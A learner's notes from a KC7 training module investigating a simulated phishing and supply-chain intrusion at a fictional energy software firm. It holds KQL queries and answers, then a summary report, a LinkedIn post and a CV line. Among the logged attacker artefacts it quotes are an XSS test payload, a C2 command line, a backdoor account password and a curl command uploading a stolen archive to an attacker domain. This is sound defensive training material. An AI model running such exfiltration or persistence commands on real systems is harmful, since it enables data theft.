Solvi Systems: A tale of Supply Chains and ICS

https://kc7cyber.com/m/solvi-systems-a-tale-of-supply-chains-and-ics

About This Investigation

Solvi Systems, a software company, is a key player is South Africa's energy industry ⚡.

With its cutting-edge Docks software, Solvi Systems has become indispensable to major power and utility companies, shaping the distribution of energy in not just South Africa, but across neighboring nations like Mozambique, Eswatini, Zimbabwe, and Namibia. □

However, the interconnectedness of this power grid also brings □ *vulnerability*.

In this module, you'll help investigate an intrusion against Solvi Systems, and find out how attackers may have leveraged their access to discover vulnerabilities in the DOCKS software.

What You'll Learn

- Investigate a supply chain attack involving Industrial Control Systems (ICS)
- Understand how an attack on the ICS software can have downstream impact
- Combine multiple data sources (e.g., network logs, DNS, authentication events) to establish a detailed timeline of malicious activities—from reconnaissance to data exfiltration.

My KQL-cheatsheet

file:///C:/Users/Intel%20NUC/Documents/Business_Freelance%20PM%20Joseph%20Fansi%20October%202024/10-Training%20&%20Certifications/Cheat%20Sheets%20for%20SOC%20analyst/KQL-cheatsheet.html

training guide

https://kc7cyber.com/guide/148

1. *Login to [Azure Data Explorer (ADX)](). This is where you will find our TOP SECRET data. You will need a Microsoft account (hotmail, outlook, O365..) We will use ADX to run queries that will help us answer these questions.*

Info collected

Section 1

How many employees work at Solvi Systems? 500
What is the CTO's name?

```
Employees
| take 10

Employees
| count

Employees
| where role == "CTO"
```

Alexis Khoza

IP_addr: 10.10.0.7

Email. alexis_khoza@solvisystems.com

Company domain: solvisystems.com

How many emails did Alexis Khoza receive? 31

```
Email
| where recipient == "alexis_khoza@solvisystems.com"
| count
```

How many distinct senders were seen in the email logs from eskom.co.za? 745

```
Email
| where sender has "eskom.co.za"
| distinct sender
| count
```

How many distinct websites did "Alexis Khoza" visit? 72

```
OutboundNetworkEvents
| where src_ip == "10.10.0.7"
| distinct url
| count
```

How many distinct domains in the PassiveDns records contain the word "real"?19

```
PassiveDns
| where domain contains "real"
| distinct domain
| count
```

What IPs did the domain “bit.ly” resolve to (enter any one of them)?

```
219.82.23.42
181.216.241.104
146.146.40.67
179.14.26.208
144.69.121.139
30.99.71.8
22.151.219.153
216.78.8.45
179.251.245.106
198.1.135.250
```

How many distinct URLs did employees with the first name "Mary" Visit?847

```
let mary_ips =
Employees
| where name has "Mary"
| distinct ip_addr;
OutboundNetworkEvents
| where src_ip in (mary_ips)
| distinct url
| count
```

How many authentication attempts did we see to the accounts of employees with the first name Mary? 1150

```
let mary_ips = Employees
| where name has "Mary"
| distinct username;
AuthenticationEvents
| where username in (mary_ips)
| count
```

Section 2

You got an alert from your Web Application Firewall (WAF) appliance that someone may be trying to compromise your Solvi System's website!

```
{
   description: "DETECTION RULE TRIGGERED",
   severity: "HIGH",
   rule_description: "SUSPICIOUS TEXT IN HTTP REQUEST",
   data: https://www.solvisystems.com/feedback?message=</script>.
 <script>alert('xss')</script>
}
```

What kind of attack does the alert suggest happened?
Xss (;cross site scripting;cross-site scripting)

What javascript command was the attacker trying to run? Javascript alert('xss')

```
InboundNetworkEvents
| where url contains "alert"
```

```
https://www.solvisystems.com/feedback%3Fmessage%3D%3C/script%3E%3Cscript%3Ealert%28%27
xss%27%29%3C/script%3E
```

What response code did they receive from the website? 404

What user agent did the attackers use to make the web requests in this attack? Enter only the initial part of the user agent (XXXXX/N.NN). `Opera/8.64`

On what day did the attack happen? Give the timestamp in the format YYYY-MM-DD.
`2024-05-03`

How many malicious requests did the attacker make in total? 9

```
InboundNetworkEvents
| where user_agent contains "Opera/8.64"
| where timestamp between (datetime("2024-05-03") .. datetime("2024-05-05"))
```

Were any of these attacks successful? (yes/no) no
404

What IP addresses did the requests originate from? (Enter any of them.)
`98.117.26.236`
How many total records do we have of them browsing Solvi Systems?
reconnaissance prior to the attack look at the url

```
let threat_actor_ips =
InboundNetworkEvents
| where user_agent contains "Opera/8.64"
| where timestamp between (datetime("2024-05-03") .. datetime("2024-05-05"))
| distinct src_ip;
InboundNetworkEvents
| where src_ip in (threat_actor_ips)
| count
```

64
What is the timestamp of the first web request the threat actor sent to Solvi System's website?

`2024-05-01T00:00:00.000Z`

Which product did the threat actors research before the day that they sent the malicious web requests?

```
Attack happen on 2024-05-03

let threat_actor_ips =
InboundNetworkEvents
| where user_agent contains "Opera/8.64"
| where timestamp between (datetime("2024-05-03") .. datetime("2024-05-05"))
| distinct src_ip;
InboundNetworkEvents
| where src_ip in (threat_actor_ips)

| where url contains "Pro"
```

`docks-ics`

How many distinct domains do the ip addresses used by the threat actor resolve to?

```
let threat_actor_ips =
InboundNetworkEvents
| where user_agent contains "Opera/8.64"
| where timestamp between (datetime("2024-05-03") .. datetime("2024-05-05"))
| distinct src_ip;
PassiveDns
| where ip  in (threat_actor_ips)
| distinct domain
| count
```

```
3
energy-trends4u.net
news-on-industry.com
eco-awareness-update.net
```

```
let threat_actor_ips =
InboundNetworkEvents
| where user_agent contains "Opera/8.64"
| where timestamp between (datetime("2024-05-03") .. datetime("2024-05-05"))
| distinct src_ip;
PassiveDns
| where ip  in (threat_actor_ips)
| distinct domain;
Email
| where link in (threat_actor_ips)
```

```
energy-trends4u.net
news-on-industry.com
eco-awareness-update.net
```

How many emails associated with these domains did SolviSystem employees receive?

```
let threat_actor_ips =
InboundNetworkEvents
| where user_agent contains "Opera/8.64"
| where timestamp between (datetime("2024-05-03") .. datetime("2024-05-05"))
| distinct src_ip;
let threat_actor_domain =
PassiveDns
| where ip  in (threat_actor_ips)
| distinct domain;
Email
| where link has_any (threat_actor_domain)
```

How many distinct email addresses did the threat actor use?

```
let threat_actor_ips =
InboundNetworkEvents
| where user_agent contains "Opera/8.64"
| where timestamp between (datetime("2024-05-03") .. datetime("2024-05-05"))
| distinct src_ip;
```

```
let threat_actor_domain =
PassiveDns
| where ip  in (threat_actor_ips)
| distinct domain;
Email
| where link has_any (threat_actor_domain)
| distinct sender
```

```
3
news@eco-awareness-updates.net
energy_industry_news@protonmail.com
electric_updates@gmail.com
```

How many distinct filenames were observed in the links in these emails?

3

How many different roles were targeted with these emails?

```
let threat_actor_ips =
InboundNetworkEvents
| where timestamp between (datetime("2024-05-03") .. datetime("2024-05-05"))
| where user_agent contains "Opera/8.64"
| distinct src_ip;
let threat_actor_domains =
PassiveDns
| where ip in (threat_actor_ips)
| distinct domain;
let email_recipients =
Email
| where link has_any (threat_actor_domains)
| extend email_recipient = parse_path(recipient).Filename
| distinct tostring(email_recipient);
Employees
| where email_addr in (email_recipients)
| distinct role
5

Sales Representative
Customer Support Specialist
DOCKS ICS Security Lead
Project Manager for Docks ICS
Docks Customer Success Manager
```

How many Customer Support Specialist employees received malicious emails?

```
let threat_actor_ips =
InboundNetworkEvents
| where timestamp between (datetime("2024-05-03") .. datetime("2024-05-05"))
| where user_agent contains "Opera/8.64"
| distinct src_ip;
let threat_actor_domains =
PassiveDns
| where ip in (threat_actor_ips)
| distinct domain;
let email_recipients =
```

```
Email
| where link has_any (threat_actor_domains)
| extend email_recipient = parse_path(recipient).Filename
| distinct tostring(email_recipient);
Employees
| where email_addr in (email_recipients)
| where role has "Customer Support Specialist"
```

27

Among these job roles, which word is shared by three of them?

```
let threat_actor_ips =
InboundNetworkEvents
| where timestamp between (datetime("2024-05-03") .. datetime("2024-05-05"))
| where user_agent contains "Opera/8.64"
| distinct src_ip;
let threat_actor_domains =
PassiveDns
| where ip in (threat_actor_ips)
| distinct domain;
let email_recipients =
Email
| where link has_any (threat_actor_domains)
| extend email_recipient = parse_path(recipient).Filename
| distinct tostring(email_recipient);
Employees
| where email_addr in (email_recipients)
| distinct role
```

```
DOCKS ICS Security Lead
Project Manager for Docks ICS
Docks Customer Success Manager
```

What was the timestamp of the first email the threat actor sent?

```
//
let threat_actor_ips =
InboundNetworkEvents
| where timestamp between (datetime("2024-05-03") .. datetime("2024-05-05"))
| where user_agent contains "Opera/8.64"
| distinct src_ip;
let threat_actor_domains =
PassiveDns
| where ip in (threat_actor_ips)
| distinct domain;
Email
| where link has_any (threat_actor_domains)
```

```
2024-05-01T15:51:41.000Z
```

What is the recipient's email address?

carla_wharton@solvisystems.com

What is that employee's name?

carla_wharton

What was the sender address of that email?

news@eco-awareness-updates.net

What was the reply to address?

electric_updates@gmail.com

What was the subject of that email?

[EXTERNAL] Business Opportunity: Two major energy companies merging

What link was observed in the email?

http://news-on-industry.com/search/online/files/public/Energy_Industry_Trends_2024_4_Solvi.docx

Did Carla click on the link in email? If so when?

```
let carla_ip =
Employees
| where email_addr == 'carla_wharton@solvisystems.com'
| project ip_addr;
OutboundNetworkEvents
| where src_ip in (carla_ip)
| where url contains "Energy_Industry_Trends_2024_4_Solvi.docx"
```

2024-05-01T15:57:41.000Z

What file was observed on Carla's machine shortly after she executed the docx file?

```
let carla =
Employees
| where email_addr == 'carla_wharton@solvisystems.com'
| project username;
FileCreationEvents
| where username in (carla)
| where timestamp between (datetime(2024-05-01T15:58:29Z) .. datetime(2024-05-01T16:58:29Z))
```

ecobug.exe

What was the hash of the file?

1c3ef0407d5714037504c52f7abfa86c081fd7a021b52e2abe8a669f92413252

How many records do we have of this file being created on Solvi Systems computers?

```
FileCreationEvents
| where filename == "ecobug.exe"
| count
```

39

What IP address does ecobug.exe connect to in order to establish persistence?

```
let threat_actor_ips =
InboundNetworkEvents
| where user_agent contains "Opera/8.64"
| where timestamp between (datetime("2024-05-03") .. datetime("2024-05-05"))
| distinct src_ip;
let carla =
Employees
| where email_addr == 'carla_wharton@solvisystems.com'
| project username;
ProcessEvents
| where username in (carla)
| where process_commandline has_any (threat_actor_ips)
| where process_name == "ecobug.exe" or process_commandline contains "ecobug.exe"
```

```
98.117.26.236
```

```
ecobug.exe --timeout 6000 --dest 98.117.26.236 --port 1337
```

What is the port number that is used?

```
port 1337
```

We can now examine the NetworkFlow data to observe the persistent connection.

How many times does Carla's machine connect to the suspicious IP address?

```
let carla =
Employees
| where email_addr == 'carla_wharton@solvisystems.com'
| project ip_addr;
NetworkFlow
| where src_ip in (carla)
| where dest_ip == "98.117.26.236"
| count
```

```
24
```

```
let carla =
Employees
| where email_addr == 'carla_wharton@solvisystems.com'
| project ip_addr;
NetworkFlow
| where src_ip in (carla)
| where dest_ip == "98.117.26.236"
| summarize connections_per_day = count() by bin(timestamp, 1d)
```

```
1
```

At what time does this connection take place? (format hh:mm:ss)

```
let carla =
Employees
| where email_addr == 'carla_wharton@solvisystems.com'
| project ip_addr;
NetworkFlow
```

```
| where src_ip in (carla)
| where dest_ip == "98.117.26.236"
| extend time_only = format_datetime(timestamp, "HH:mm:ss")
| project timestamp, time_only
| order by timestamp asc
```

17:38:25

How many total connections do we see between this IP and Solvi Systems employee machines?

```
NetworkFlow
| where dest_ip == "98.117.26.236"
| count
```

470

How many distinct employee machines are involved in those connections?

```
let solvi_ips =
Employees
| project ip_addr;
NetworkFlow
| where src_ip in (solvi_ips)
| where dest_ip == "98.117.26.236"
| distinct src_ip
```

38

What is the name of the newly created user?

```
let carla =
Employees
| where email_addr == 'carla_wharton@solvisystems.com'
| project username;
ProcessEvents
| where username in (carla)
| where timestamp between (datetime(2024-05-02) .. datetime(2024-05-03))
| where process_commandline contains "net user" or process_commandline contains
"useradd"
| project timestamp, process_name, process_commandline
| order by timestamp asc
```

gu@rd!an

What is that user's password?

abc1toothree

What was the last `discovery` command that the adversaries ran?

What to Look For

Command	Purpose
`whoami`	Current user identity
`ipconfig`	Network configuration
`systeminfo`	System information
`netstat`	Active connections
`net user`	List users
`tasklist`	Running processes
`nltest`	Domain reconnaissance
`net view`	Network shares/machines

```
let carla =
Employees
| where email_addr == 'carla_wharton@solvisystems.com'
| project username;
ProcessEvents
| where username in (carla)
| project timestamp, process_name, process_commandline
| order by timestamp asc
```

2024-05-02T17:54:49.000Z

net use

How many distinct commands containing the term `net use` were run on SolviSystem devices?

```
ProcessEvents
| where process_commandline contains "net use"
| summarize distinct_commands = dcount(process_commandline) by username
| order by distinct_commands desc
```

2

What new command using `net use` did we find?

```
// all user not only carla

ProcessEvents
| where process_commandline contains "net use"
| project timestamp, process_commandline
```

```
| order by timestamp asc
```

net use /PERSISTENT:YES

How many distinct hosts was this command run on?

```
ProcessEvents
| where process_commandline contains "net use /PERSISTENT:YES"
| project timestamp, hostname, username, process_commandline
| order by timestamp asc
```

SJ9V-MACHINE : alpetrov
UPLM-DESKTOP: jalee
JP4D-MACHINE: tagreen

3

What is the timestamp for the first time this command was run?

```
ProcessEvents
| where process_commandline contains "net use /PERSISTENT:YES"
| project timestamp, hostname, username, process_commandline
| order by timestamp asc
| take 1
```

2024-05-27T16:23:10.000Z

What is the hostname from that timestamp?

SJ9V-MACHINE

Who is the employee associated with that hostname?

Username is alpetrov

```
Employees
| where username == "alpetrov"
```

Alexei Petrov

What is that employee's role?

```
Employees
| where username == "alpetrov"
```

Docks Customer Success Manager

What is the command used to copy files related to `SoftwareDevelopment`?

```
ProcessEvents
| where username == "alpetrov"
| where process_commandline contains "SoftwareDevelopment"
| project timestamp, process_commandline
| order by timestamp asc
```

Copy-Item -Path \\\\solvisystems.com\\SharedDocs\\SoftwareDevelopment\\CycleDocuments* -Destination C:\\Users\\alpetrov\\CollectedData\\Software_Cycle_Docs

What is the name of the archive file containing the copied documents?

```
ProcessEvents
| where username == "alpetrov"
| where process_commandline contains "SoftwareDevelopment"
     or process_commandline has_any (".zip", ".rar", ".7z", ".tar")
| project timestamp, process_commandline
| order by timestamp asc
```

```
Compress-Archive -Path C:\Users\alpetrov\CollectedData\* -DestinationPath
C:\DataExfil\CollectedData.zip
```

```
CollectedData.zip
```

The next day the data was exfiltrated using what command?

```
curl -F 'file=@C:\DataExfil\CollectedData.zip' https://api.eco-awareness-
update.net/upload
```

How many accounts were used by the threat actor to exfiltrate sensitive information from Solvi Systems?

We know exfiltration file command start with `curl -F 'file=`

```
ProcessEvents
| where process_commandline contains "curl -F 'file="
| project timestamp, hostname, username, process_commandline
| order by timestamp asc
```

```
3
```

```
SJ9V-MACHINE : alpetrov
UPLM-DESKTOP: jalee
JP4D-MACHINE: tagreen
```

The threat actors were observed reading an "internal process" document from an internal portal called ____.solvisystems.com

```
InboundNetworkEvents
| where url contains ".solvisystems.com"
| where url has_any ("process", "internal", "document", "portal")
| project timestamp, url
| order by timestamp asc
```

```
devportal.solvisystems.com
```

What was the subject of those emails?

```
Compromise Email addre
Employees
| where username in ("alpetrov", "jalee", "tagreen")
```

```
alexei_petrov@solvisystems.com
jamie_lee@solvisystems.com
taylor_green@solvisystems.com
```

```
Email
| where sender in ("alexei_petrov@solvisystems.com", "jamie_lee@solvisystems.com", "taylor_green@solvisystems.com")
| where subject contains "software"
| project timestamp, sender, recipient, subject
| order by timestamp asc
```

Do you know where the DOCKS software documentation is stored? □;Urgent Request: DOCKS System Documentation □

Sum up

□ **ACHIEVEMENT UNLOCKED**

Solvi Systems

This analyst investigated a cybersecurity incident at Solvi Systems by identifying an attempted XSS attack and tracking a phishing email campaign. Using Kusto Query Language (KQL), they uncovered the threat actor’s reconnaissance efforts, system compromises, and malware activities, providing critical insights for enhancing security measures.

It took me 3 days investigations with help from Claude sonnet 4.6
Also apply what I have learned with AI Threat Modelling https://tryhackme.com/room/aithreatmodelling (how to use AI for investigation.

Report

Solvi Systems Incident – Short Summary

What happened:
Attackers targeted Solvi Systems (energy/ICS software provider) using phishing after a failed web exploit.

Attack Flow

1. **Recon + failed XSS attack** (May 3, 2024)
2. **Phishing emails** sent using fake energy-industry domains
3. Employee (**Carla Wharton**) clicked link → malware installed (**ecobug.exe**)
4. Malware connected to attacker server (**98.117.26.236:1337**)
5. Spread to **38 machines**
6. Attackers created backdoor account (**gu@rd!an**)
7. Internal files collected and compressed
8. **Data exfiltrated** via HTTP upload

Impact

- 38 compromised systems
- Sensitive software/dev data stolen
- Risk to energy/ICS supply chain

Key Takeaway

Phishing—not the web attack—was the real entry point. Once inside, attackers moved laterally and exfiltrated data with basic but effective techniques.

Fixes (practical)

- Enforce **MFA**
- Improve **email filtering**
- Use **EDR** to catch malware early
- Monitor unusual outbound traffic
- Limit and audit account creation

If you want it even sharper (like 3–4 bullet executive brief), say so.

`LinkedIn`

□ Cybersecurity Investigation Summary – Solvi Systems (ICS / Supply Chain Attack)

Recently completed a hands-on investigation simulating a real-world attack on an energy-sector software provider.

What I uncovered:

- Failed web exploit (XSS) followed by a **successful phishing campaign**
- Malware deployment (**ecobug.exe**) after user interaction
- Command & Control communication to external IP
- Lateral movement across **38 machines**
- Data collection and **exfiltration of sensitive documents**

Key takeaway:
The initial web attack failed—but phishing succeeded. Once inside, the attacker used simple, effective techniques to move laterally and extract data.

□□ This investigation took me **3 days**, with support from **Claude Sonnet 4.6**, and I applied concepts from AI-driven threat analysis:
https://tryhackme.com/room/aithreatmodelling

□ Great exercise in combining logs, threat modeling, and AI-assisted investigation to build a full attack timeline.

#CyberSecurity #SOCAnalyst #ThreatHunting #BlueTeam #IncidentResponse #AI #ICS #SupplyChainSecurity

CV

Investigated a simulated ICS/supply chain cyberattack on Solvi Systems, identifying phishing as the initial access vector and tracing malware (ecobug.exe), C2 activity, lateral movement (38 hosts), and data exfiltration using KQL. Leveraged AI-assisted analysis (Claude Sonnet 4.6) and applied AI threat modeling techniques (TryHackMe).